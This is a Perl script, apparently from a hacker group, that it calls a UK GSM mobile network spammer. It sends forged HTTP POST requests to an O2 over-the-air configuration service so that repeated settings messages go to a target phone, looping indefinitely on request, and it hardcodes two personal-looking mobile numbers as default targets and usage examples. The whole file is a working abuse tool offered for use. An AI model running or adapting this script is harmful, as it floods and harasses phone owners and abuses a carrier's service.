#!/usr/bin/perl
#------------------------------------------------------------------#
#       DIGIT-LABS Private Source Code -DO NOT DISTRIBUTE-         #
#------------------------------------------------------------------#
#                                                                  #
# Simple UK GSM Mobile Network Spamer!@#$!                         #
# by: mu-b@digit-labs.org                                          #
#                                                                  #
# example: perl sysmsg.pl -t 07790550358 -n -1 -w 0                #
#          perl sysmsg.pl -t 07866622471 -n -1 -w 0                #
#                                                                  #
# Greetz to: all digit-labs                                        #
#                                                                  #
#------------------------------------------------------------------#
#       DIGIT-LABS Private Source Code -DO NOT DISTRIBUTE-         #
#------------------------------------------------------------------#

use Getopt::Std; getopts('t:n:w:', \%args);
use Socket;

if (defined($args{'t'})) { $target = $args{'t'}; }
if (defined($args{'n'})) { $number = $args{'n'}; } else { $number = 1; }

if (!(defined($target))) {
    $target = time() & 0x01 ? "07790550358" : "07866622471";
}

if (length($target) != 11) {
    die("Error: $0 -t \"target\" invalid ($target)\n");
}

while ($number == -1 ? 1
                     : $number--) {
    print "Sending ".$i++."\n";

    $exploit = "POST /O2UK/WP HTTP/1.1\r\n".
               "Accept: */*\r\n".
               "Accept-Language: en-gb\r\n".
               "Content-Type: application/x-www-form-urlencoded\r\n".
               "Accept-Encoding: gzip, deflate\r\n".
               "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
               "Host: amber.smarttrust.com\r\n".
               "Content-Length: 309\r\n".
               "Connection: Keep-Alive\r\n".
               "Cache-Control: no-cache\r\n\r\n".
"S=http%3A%2F%2Fwww.2o.co.uk%2Fproductsservices%2Fota2%2FGPRS_nokia_submit%2F0%2C%2C181%2C00.html&F=http%3A%2F%2Fwww.o2.co.uk%2Factive%2Fota%2Ferror&C=0&success=+&ruleset=+&terminal=+&failure=http%3A%2F%2Fwww.o2.co.uk%2Factive%2Fota%2Ferror&settings=+&client=+&msisdn=+&P=1&Mod=8310&T=3&M=".$target."&x=35&y=13";

    $iaddr = inet_aton("amber.smarttrust.com");
    $paddr = sockaddr_in(80, $iaddr);
    $proto = getprotobyname('tcp');

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
    connect(SOCKET, $paddr)                      || print("Error: $!\n");
    send(SOCKET,"$exploit\015\012", 0);
    close(SOCKET);

    sleep(defined($args{'w'}) ? $args{'w'} : 5) if (exists($args{'w'}));
}

